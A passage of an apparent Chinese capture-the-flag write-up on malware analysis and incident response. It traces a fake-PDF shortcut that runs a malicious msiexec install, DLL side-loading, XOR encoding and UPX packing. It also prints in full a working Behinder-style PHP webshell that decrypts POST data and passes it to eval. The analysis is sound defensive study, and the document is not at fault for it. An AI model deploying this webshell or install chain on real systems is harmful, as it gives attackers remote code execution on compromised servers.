\u663e\u793a\uff0c\u6076\u610f\u8fdb\u7a0b\u7684\u521d\u59cb\u89e6\u53d1\u6765\u81ea\u8be5 LNK \u6587\u4ef6 \u2014\u2014<code>cmd.exe(PID:6984)<\/code>\u901a\u8fc7\u547d\u4ee4<code>call C:UsersAdministratorDesktopISCTFISCTF\u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf.lnk<\/code>\u8c03\u7528\u8be5\u6587\u4ef6\uff0c\u8fdb\u800c\u542f\u52a8\u540e\u7eed\u7684<code>msiexec.exe<\/code>\u5b89\u88c5\u6076\u610f MSI \u5305\u3001\u91ca\u653e\u6728\u9a6c\u6587\u4ef6\uff08\u5982 CptInstall.exe.tmp\u3001CptService.exe.tmp \u7b49\uff09\uff0c\u662f\u6574\u4e2a\u653b\u51fb\u94fe\u7684 \u201c\u8d77\u70b9\u201d\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. \u6392\u9664\u5176\u4ed6\u6587\u4ef6\u7684\u539f\u56e0<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u538b\u7f29\u5305\u5185\u5176\u4ed6\u4e24\u4e2a\u6587\u4ef6\uff08TJe1w\u3001fR6Wl\uff09\u867d\u4e3a\u6076\u610f\u7ec4\u4ef6\uff0c\u4f46\u5e76\u975e \u201c\u5165\u53e3\u6587\u4ef6\u201d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4e8c\u8005\u5747\u4e3a \u201cComposite Document File V2 Document\u201d\uff08OLE \u6587\u6863\u683c\u5f0f\uff09\uff0c\u65e0\u660e\u786e\u4f2a\u88c5\u6027\u6587\u4ef6\u540d\uff0c\u4e14\u52a8\u6001\u5206\u6790\u663e\u793a\u5176\u4ec5\u4f5c\u4e3a<code>msiexec.exe<\/code>\u7684\u53c2\u6570\uff08<code>msiexec.exe \/i Tje1w TRANSFORMS=fR6Wl<\/code>\uff09\u88ab\u8c03\u7528\uff0c\u5c5e\u4e8e \u201c\u7b2c\u4e8c\u9636\u6bb5\u8f7d\u8377\u7ec4\u4ef6\u201d\uff0c\u800c\u975e\u7528\u6237\u76f4\u63a5\u89e6\u53d1\u7684\u5165\u53e3\uff1b<\/li>\n\n\n\n<li>\u91ca\u653e\u7684\u540e\u7eed\u6587\u4ef6\uff08\u5982 ea76408.rbs\u3001CptControl.exe.tmp \u7b49\uff09\u5747\u4e3a\u653b\u51fb\u94fe\u4e0b\u6e38\u7684\u6076\u610f\u4ea7\u7269\uff0c\u4e0d\u5177\u5907 \u201c\u521d\u59cb\u8bf1\u9a97\u70b9\u51fb\u201d \u7684\u5165\u53e3\u5c5e\u6027\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u201cISCTF \u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf.lnk\u201d \u662f\u8be5\u6076\u610f\u6837\u672c\u7b2c\u4e00\u9636\u6bb5\u8f7d\u8377\u4e2d\u552f\u4e00\u7684\u5165\u53e3\u6587\u4ef6\uff0c\u627f\u62c5 \u201c\u8bf1\u9a97\u7528\u6237\u70b9\u51fb\u3001\u542f\u52a8\u653b\u51fb\u94fe\u201d \u7684\u6838\u5fc3\u4f5c\u7528\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-140.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"685\" height=\"396\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-140.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1705\"  sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF\u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790-\u9898\u76ee3<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-141.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"669\" height=\"436\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-141.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1706\"  sizes=\"auto, (max-width: 669px) 100vw, 669px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">TJe1w\u53ef\u4ee5\u53d1\u73b0\u6570\u5b57\u7b7e\u540d<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-142.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"961\" height=\"684\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-142.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1707\"  sizes=\"auto, (max-width: 961px) 100vw, 961px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Zoom Video Communications, Inc.<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790-\u9898\u76ee5<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-143.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"414\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-143.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1708\"  sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201c\u52a8\u6001\u5206\u6790 &#8211; \u8fdb\u7a0b\u8be6\u60c5\u201d \u53ef\u77e5\uff0c\u7b2c\u4e8c\u9636\u6bb5\u7684\u6838\u5fc3\u767d\u8fdb\u7a0b\u662f<code>msiexec.exe<\/code>\uff08Windows \u7cfb\u7edf\u5408\u6cd5\u5b89\u88c5\u7a0b\u5e8f\uff0c\u5c5e\u4e8e\u767d\u540d\u5355\u8fdb\u7a0b\uff09\uff0c\u5176\u901a\u8fc7\u547d\u4ee4<code>\"C:WindowsSystem32msiexec.exe\" \/i Tje1w TRANSFORMS=fR6Wl \/qn<\/code>\u52a0\u8f7d\u6267\u884c\u6076\u610f\u7ec4\u4ef6\u3002\u82e5 \u201czRCAppCore.dll\u201d \u662f\u8be5\u9636\u6bb5\u7684\u9ed1\u6587\u4ef6\uff0c\u63a8\u6d4b\u5176\u4e3a<code>Tje1w<\/code>\uff08\u6076\u610f MSI \u5305\uff09\u91ca\u653e\u6216\u5173\u8054\u7684\u6076\u610f DLL\u2014\u2014<code>msiexec.exe<\/code>\u5728\u89e3\u6790<code>Tje1w<\/code>\u65f6\uff0c\u4f1a\u52a0\u8f7d \u201czRCAppCore.dll\u201d \u5e76\u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u6b64\u65f6<code>msiexec.exe<\/code>\u4f5c\u4e3a \u201c\u767d\u8fdb\u7a0b\u201d\uff0c\u201czRCAppCore.dll\u201d \u4f5c\u4e3a \u201c\u9ed1\u6587\u4ef6\u201d\uff0c\u6784\u6210\u5178\u578b\u7684 \u201c\u767d\u52a0\u9ed1\u201d \u7ec4\u5408\uff0c\u7b26\u5408\u6587\u6863\u4e2d \u201c\u6587\u6863\u5feb\u6377\u65b9\u5f0f\u542f\u52a8\u53ef\u7591\u8fdb\u7a0b\u2192\u767d\u8fdb\u7a0b\u52a0\u8f7d\u6076\u610f\u7ec4\u4ef6\u201d \u7684\u653b\u51fb\u94fe\u903b\u8f91\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-144-1024x591.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"591\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-144-1024x591.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1709\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>zRCAppCore.dll<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790-\u9898\u76ee6<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-145.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"665\" height=\"443\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-145.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1710\"  sizes=\"auto, (max-width: 665px) 100vw, 665px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6587\u4ef6\u7684\u5f02\u5e38\u683c\u5f0f\u3001\u9898\u76ee\u7684\u63cf\u8ff0\u201c\u7b80\u5355\u201d\u3001\u6076\u610f\u8f6f\u4ef6\u7684\u5e38\u89c1\u884c\u4e3a\u6a21\u5f0f<\/strong>\u53ef\u4ee5\u5224\u65adXOR\u52a0\u5bc6\u7b97\u6cd5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636eAI\u8f85\u52a9\u53ef\u4ee5\u5224\u65ad\u5c31\u662f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-146.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1006\" height=\"174\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-146.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1711\"  sizes=\"auto, (max-width: 1006px) 100vw, 1006px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>XOR\u52a0\u5bc6<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790-\u9898\u76ee8<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-147.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"631\" height=\"451\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-147.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1712\"  sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u62a5\u544a\u4e2d\u7684\u76f4\u63a5\u7ebf\u7d22\uff1a\u5728PDF\u62a5\u544a\u7684 \u201c\u91ca\u653e\u6587\u4ef6\u201d \u90e8\u5206\uff0c\u5217\u51fa\u4e86\u591a\u4e2a .tmp \u6587\u4ef6\uff0c\u5b83\u4eec\u7684\u6587\u4ef6\u7c7b\u578b\u5747\u4e3a\uff1a\n\nPE32 executable (GUI) Intel 80386, for MS Windows\n\u8fd9\u4e9b\u90fd\u662fWindows\u53ef\u6267\u884c\u6587\u4ef6\uff08PE\u6587\u4ef6\uff09\u3002\u5728\u6076\u610f\u8f6f\u4ef6\u4e2d\uff0c\u4e3a\u4e86\u4fdd\u62a4\u6216\u538b\u7f29\u8fd9\u4e9bPE\u6587\u4ef6\u4ee5\u9003\u907f\u68c0\u6d4b\u3001\u51cf\u5c0f\u4f53\u79ef\u6216\u589e\u52a0\u5206\u6790\u96be\u5ea6\uff0c\u6700\u5e38\u7528\u7684\u5f00\u6e90\u5de5\u5177\u5c31\u662fUPX\uff08Ultimate Packer for eXecutables\uff09\u3002\n\n\u653b\u51fb\u94fe\u7684\u5178\u578b\u6d41\u7a0b\uff1a\n\n\u7b2c\u4e00\u9636\u6bb5\uff1a.lnk \u5feb\u6377\u65b9\u5f0f\u6587\u4ef6\uff08\u793e\u4f1a\u5de5\u7a0b\u5b66\u8bf1\u9975\uff09\u3002\n\n\u7b2c\u4e8c\u9636\u6bb5\uff1aXOR\u52a0\u5bc6\u7684\u8f7d\u8377\uff08fR6WI \/ TJetw\uff09\uff0c\u7531\u7b2c\u4e00\u9636\u6bb5\u89e3\u5bc6\u3002\n\n\u7b2c\u4e09\u9636\u6bb5\uff1a\u89e3\u5bc6\u540e\u5f97\u5230\u7684\u662f\u771f\u6b63\u7684\u6076\u610f\u53ef\u6267\u884c\u6587\u4ef6\uff08PE\uff09\uff0c\u8fd9\u4e9b\u6587\u4ef6\u5728\u88ab\u91ca\u653e\u5230\u78c1\u76d8\uff08\u5982CptControl.exe.tmp\uff09\u6216\u5185\u5b58\u4e2d\u6267\u884c\u524d\uff0c\u5f88\u53ef\u80fd\u88abUPX\u538b\u7f29\/\u52a0\u58f3\u8fc7\u3002\u62a5\u544a\u663e\u793a\u7684\u6b63\u662f\u8fd9\u4e9b\u91ca\u653e\u540e\u7684PE\u6587\u4ef6\u3002\n\n\u4e3a\u4ec0\u4e48\u662fUPX\uff1f\n\n\u5f00\u6e90\u4e14\u6d41\u884c\uff1aUPX\u662f\u5f00\u6e90\u3001\u514d\u8d39\u3001\u4f7f\u7528\u6700\u5e7f\u6cdb\u7684\u7684\u53ef\u6267\u884c\u6587\u4ef6\u538b\u7f29\u5668\uff0c\u6076\u610f\u8f6f\u4ef6\u4f5c\u8005\u7ecf\u5e38\u4f7f\u7528\u5b83\u3002\n\n\u201c\u4fdd\u62a4\u5de5\u5177\u201d\u7684\u5b9a\u4f4d\uff1aUPX\u7684\u4e3b\u8981\u529f\u80fd\u662f\u538b\u7f29\uff0c\u4f46\u5b83\u4e5f\u63d0\u4f9b\u4e86\u4e00\u79cd\u57fa\u7840\u7684\u4fdd\u62a4\uff08\u52a0\u58f3\uff09\uff0c\u4f7f\u539f\u59cb\u4ee3\u7801\u5728\u9759\u6001\u5206\u6790\u65f6\u96be\u4ee5\u9605\u8bfb\uff0c\u9700\u8981\u5148\u8131\u58f3\u3002\n\n\u4e0e\u4e0a\u4e0b\u6587\u201c\u7b80\u5355\u4fdd\u62a4\u201d\u4e00\u81f4\uff1a\u7b2c\u4e8c\u9636\u6bb5\u7528\u4e86\u6700\u7b80\u5355\u7684XOR\uff0c\u7b2c\u4e09\u9636\u6bb5\u7528UPX\u8fd9\u79cd\u5165\u95e8\u7ea7\u52a0\u58f3\u5de5\u5177\uff0c\u7b26\u5408\u653b\u51fb\u590d\u6742\u5ea6\u9010\u6b65\u5347\u7ea7\u4f46\u4f9d\u7136\u4f7f\u7528\u5e38\u89c1\u5de5\u5177\u7684\u903b\u8f91\u3002\n\n\u6392\u9664\u5176\u4ed6\u9009\u9879\uff1a\n\nVMProtect\u3001Themida\uff1a\u8fd9\u4e9b\u662f\u5546\u4e1a\u5f3a\u5ea6\u58f3\uff0c\u901a\u5e38\u4e0d\u4f1a\u88ab\u63cf\u8ff0\u4e3a\u201c\u5f00\u6e90\u201d\u3002\n\nASPack\u3001FSG\uff1a\u4e5f\u662f\u5e38\u7528\u58f3\uff0c\u4f46UPX\u5728CTF\u548c\u5165\u95e8\u7ea7\u6076\u610f\u8f6f\u4ef6\u4e2d\u66f4\u4e3a\u5178\u578b\u548c\u77e5\u540d\u3002\n\nConfuserEx\uff1a\u662f.NET\u6df7\u6dc6\u5de5\u5177\uff0c\u800c\u62a5\u544a\u4e2d\u7684\u6587\u4ef6\u662f\u539f\u751fPE32\uff0c\u4e0d\u662f.NET\u7a0b\u5e8f\u96c6\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b54\u6848\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>UPX<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u7528\u6237\u70b9\u51fb ISCTF\u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf.Ink \u65f6\uff0c\u5b83\u4f1a\u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msiexec.exe \/i Tje1w TRANSFORMS=fR6Wl\/qn<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>ISCTF\u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf.lnk<\/code>\uff08\u5165\u53e3\uff09<\/li>\n\n\n\n<li><code>TJe1w<\/code>\uff08MSI \u4e3b\u4f53\uff09<\/li>\n\n\n\n<li><code>fR6Wl<\/code>\uff08MST \u53d8\u6362\uff09<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u5e94\u6025\u54cd\u5e94<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u5947\u602a\u7684shell\u6587\u4ef6<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-148.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"730\" height=\"824\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-148.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1713\"  sizes=\"auto, (max-width: 730px) 100vw, 730px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d\u540e\u6076\u610f\u4ee3\u7801\u76ee\u5f55\u5728\u627eshell\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5947\u602a\u7684shell\u6587\u4ef6phpstudy_proWWWcontentpluginstips<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-149-1024x473.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"473\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-149-1024x473.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1714\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">shell.php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n@error_reporting(0);\nsession_start();\n    $key=\"e45e329feb5d925b\"; \/\/\u8be5\u5bc6\u94a5\u4e3a\u8fde\u63a5\u5bc6\u780132\u4f4dmd5\u503c\u7684\u524d16\u4f4d\n    $_SESSION&#91;'k']=$key;\n    session_write_close();\n    $post=file_get_contents(\"php:\/\/input\");\n    if(!extension_loaded('openssl'))\n    {\n        $t=\"base64_\".\"decode\";\n        $post=$t($post.\"\");\n\n        for($i=0;$i&lt;strlen($post);$i++) {\n                 $post&#91;$i] = $post&#91;$i]^$key&#91;$i+1&amp;15]; \n                }\n    }\n    else\n    {\n        $post=openssl_decrypt($post, \"AES128\", $key);\n    }\n    $arr=explode('|',$post);\n    $func=$arr&#91;0];\n    $params=$arr&#91;1];\n    class C{public function __invoke($p) {eval($p.\"\");}}\n    @call_user_func(new C(),$params);\n?&gt;\n<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5bc6\u94a5\u7279\u5f81<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><code>$key=\"e45e329feb5d925b\";<\/code> \u6ce8\u91ca\u8bf4\u660e\uff1a\u201c\u8be5\u5bc6\u94a5\u4e3a\u8fde\u63a5\u5bc6\u780132\u4f4dmd5\u503c\u7684\u524d16\u4f4d\u201d\u3002<\/li>\n\n\n\n<li>\u8fd9\u662f <strong>\u51b0\u874e\uff08Behinder\uff09<\/strong> \u7684\u5178\u578b\u505a\u6cd5\uff1a\u7528\u6237\u8bbe\u7f6e\u4e00\u4e2a\u8fde\u63a5\u5bc6\u7801\uff08\u5982 <code>pass<\/code>\uff09\uff0c\u5de5\u5177\u4f1a\u53d6\u5176 MD5 \u503c\u7684\u524d 16 \u5b57\u8282\u4f5c\u4e3a AES-128 \u52a0\u5bc6\u5bc6\u94a5\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u52a0\u5bc6\u65b9\u5f0f<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u4f18\u5148\u4f7f\u7528 <code>openssl_decrypt($post, \"AES128\", $key)<\/code>\uff0c\u82e5\u65e0 OpenSSL \u6269\u5c55\u5219\u56de\u9000\u5230\u81ea\u5b9e\u73b0\u7684 XOR \u89e3\u5bc6\u3002<\/li>\n\n\n\n<li><strong>\u51b0\u874e v2\/v3<\/strong> \u6b63\u662f\u91c7\u7528 <strong>AES-128 ECB \u6a21\u5f0f<\/strong>\uff08\u65e0 IV\uff09\u52a0\u5bc6\u901a\u4fe1\u6570\u636e\uff0c\u4e14\u517c\u5bb9\u65e0 OpenSSL \u73af\u5883\u7684 XOR \u56de\u9000\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u901a\u4fe1\u683c\u5f0f<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u63a5\u6536 <code>php:\/\/input<\/code> \u7684\u52a0\u5bc6 POST \u6570\u636e\uff0c\u89e3\u5bc6\u540e\u6309 <code>|<\/code> \u5206\u5272\uff0c<code>$arr[0]<\/code> \u4e3a\u51fd\u6570\u540d\uff08\u901a\u5e38\u56fa\u5b9a\uff09\uff0c<code>$arr[1]<\/code> \u4e3a\u8981\u6267\u884c\u7684 PHP \u4ee3\u7801\u3002<\/li>\n\n\n\n<li>\u8fd9\u4e0e\u51b0\u874e\u7684\u901a\u4fe1\u534f\u8bae\u4e00\u81f4\uff1a\u52a0\u5bc6 payload \u683c\u5f0f\u4e3a <code>\"eval|&lt;?php ... ?&gt;\"<\/code> \u6216\u7c7b\u4f3c\uff0c\u89e3\u5bc6\u540e\u6267\u884c <code>eval($params)<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u52a8\u6001\u6267\u884c\u6280\u5de7<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528 <code>class C { public function 